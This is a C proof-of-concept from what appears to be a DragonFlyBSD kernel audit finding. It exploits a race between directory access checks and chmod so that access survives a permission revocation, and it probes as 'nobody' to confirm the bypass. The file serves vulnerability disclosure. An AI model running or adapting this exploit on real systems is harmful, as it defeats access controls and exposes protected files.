⬢ DragonFlyBSD Kernel Audit
DF-5832 / wxokrace.c
← back to finding ↓ download raw
/* DF-5832 — NCF_WXOK resurrection race, take 2 (tight burst design).
 *
 * Bug: see README.md.  naccess() (vfs_nlookup.c:1758-1762) writes the
 * cached world-r+x flag from a lockless GETATTR snapshot under only a
 * SHARED ncp lock; chmod(2)'s cache_inval_wxok() clear
 * (vfs_cache.c:2054-2070) takes no ncp lock, so it can be ordered
 * BETWEEN a concurrent setter's GETATTR and its atomic_set -- the setter
 * then resurrects the flag from stale (pre-chmod) attributes and the
 * fast path (vfs_nlookup.c:1616-1621) honors the stale grant forever.
 *
 * Round design (the setter that must win is one STALLED inside its
 * [GETATTR -> atomic_set] span -- typically by an interrupt -- while the
 * chmod commits and runs cache_inval_wxok on another CPU):
 *   - K one-shot workers fire unlink("D/nope") at delays uniform [0, W).
 *     unlink is a modifying lookup (NLC_DELETE) => full-path naccess on
 *     D => GETATTR + nc_flag write; DELETE-on-nonexistent runs no other
 *     full-path naccess on D, so a straddling worker's write survives
 *     its own syscall.
 *   - the chmodmer fires at delay W+4us: its mode commit lands just as
 *     the last workers are still in flight (the straddle candidates);
 *     one-shot semantics guarantee NO worker fires after the clear.
 *   - drain, then probe as nobody with stat("D/probe"): success ==>
 *     NCF_WXOK was resurrected (revocation undone).
 *
 * usage (as root): wxokrace <dir> <rounds> [workers] [window_us]
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/stat.h>
#include <sys/wait.h>

#define NOBODY_UID 65534
#define NOBODY_GID 65534

static char dirpath[512];
static char nope[512], probe[512];
static int workers = 14;
static long W_US = 25;
static int pfd[2];

static unsigned int
myseed(void)
{
	struct timeval tv;

	gettimeofday(&tv, NULL);
	return (unsigned int)(tv.tv_usec ^ tv.tv_sec ^ getpid());
}

static void
usleep_us(long us)
{
	struct timespec ts;

	ts.tv_sec = 0;
	ts.tv_nsec = us * 1000;
	nanosleep(&ts, NULL);
}

static void
worker_loop(void)
{
	char c;

	if (setgid(NOBODY_GID) || setuid(NOBODY_UID))
		_exit(99);
	srandom(myseed());
	for (;;) {
		if (read(pfd[0], &c, 1) != 1)
			_exit(0);
		usleep_us(random() % W_US);
		unlink(nope);		/* one modifying lookup, then park */
		if (read(pfd[0], &c, 1) != 1)
			_exit(0);	/* round-end drain token */
	}
}

static int
probe_as_nobody(void)
{
	pid_t p;
	int status;

	p = fork();
	if (p == 0) {
		struct stat st;

		if (setgid(NOBODY_GID) || setuid(NOBODY_UID))
			_exit(99);
		if (stat(probe, &st) == 0)
			_exit(0);
		_exit(errno == EACCES ? 10 : 11);
	}
	waitpid(p, &status, 0);
	return (WIFEXITED(status) ? WEXITSTATUS(status) : -1);
}

int
main(int argc, char **argv)
{
	int rounds, r, i, win = 0;
	struct stat st;
	long nrounds_done = 0;

	if (argc < 3) {
		fprintf(stderr,
			"usage: %s <dir> <rounds> [workers] [window_us]\n",
			argv[0]);
		exit(2);
	}
	rounds = atoi(argv[2]);
	if (argc > 3)
		workers = atoi(argv[3]);
	if (workers > 40)
		workers = 40;
	if (argc > 4)
		W_US = atol(argv[4]);
	snprintf(dirpath, sizeof(dirpath), "%s", argv[1]);
	snprintf(nope, sizeof(nope), "%s/nope", dirpath);
	snprintf(probe, sizeof(probe), "%s/probe", dirpath);

	if (stat(dirpath, &st) < 0)
		mkdir(dirpath, 0777);
	unlink(probe);
	{
		int fd = open(probe, O_CREAT | O_RDWR, 0644);

		if (fd >= 0)
			close(fd);
	}
	chmod(probe, 0644);

	if (pipe(pfd) < 0) {
		perror("pipe");
		exit(1);
	}
	for (i = 0; i < workers; ++i) {
		pid_t p = fork();

		if (p == 0)
			worker_loop();	/* keeps pfd[0] */
	}
	close(pfd[0]);

	srandom(myseed());
	for (r = 1; r <= rounds && !win; ++r) {
		char tok[64];
		int nw = workers > 64 ? 64 : workers;

		/* 1. re-open the directory (clears flag); populate probes
		 *    take the full path and set NCF_WXOK on the 0777 dir */
		chmod(dirpath, 0777);
		probe_as_nobody();
		probe_as_nobody();

		/* 2. release the one-shot burst */
		memset(tok, 'x', nw);
		if (write(pfd[1], tok, nw) != nw) {
			perror("write");
			exit(1);
		}

		/* 3. revoke in the MIDDLE of the burst: the chmod syscall
		 * itself has ~5-15us of latency before the mode commits,
		 * so fire early enough that the commit lands inside the
		 * workers' in-flight window */
		usleep_us(6 + random() % 6);
		chmod(dirpath, 0700);

		/* 4. drain: let every in-flight worker finish (and send the
		 *    round-end token so they are ready for the next round) */
		usleep_us(4000);
		if (write(pfd[1], tok, nw) != nw) {
			perror("write2");
			exit(1);
		}

		/* 5. probe: nobody stat must be EACCES unless resurrected */
		{
			int rc = probe_as_nobody();

			if (rc == 0 && probe_as_nobody() == 0) {
				stat(dirpath, &st);
				printf("WIN at round %d: nobody stat(%s) "
				       "succeeds while dir mode is 0%o\n",
				       r, probe, st.st_mode & 07777);
				fflush(stdout);
				win = 1;
			} else if (rc != 10) {
				fprintf(stderr, "round %d: probe rc=%d\n",
					r, rc);
			}
		}
		if ((++nrounds_done % 2000) == 0) {
			printf("...%ld rounds\n", nrounds_done);
			fflush(stdout);
		}
	}
	printf(win ? "BYPASS DEMONSTRATED\n" : "no win in %d rounds\n",
	       rounds);
	fflush(stdout);
	kill(0, SIGKILL);
	return (win ? 0 : 1);
}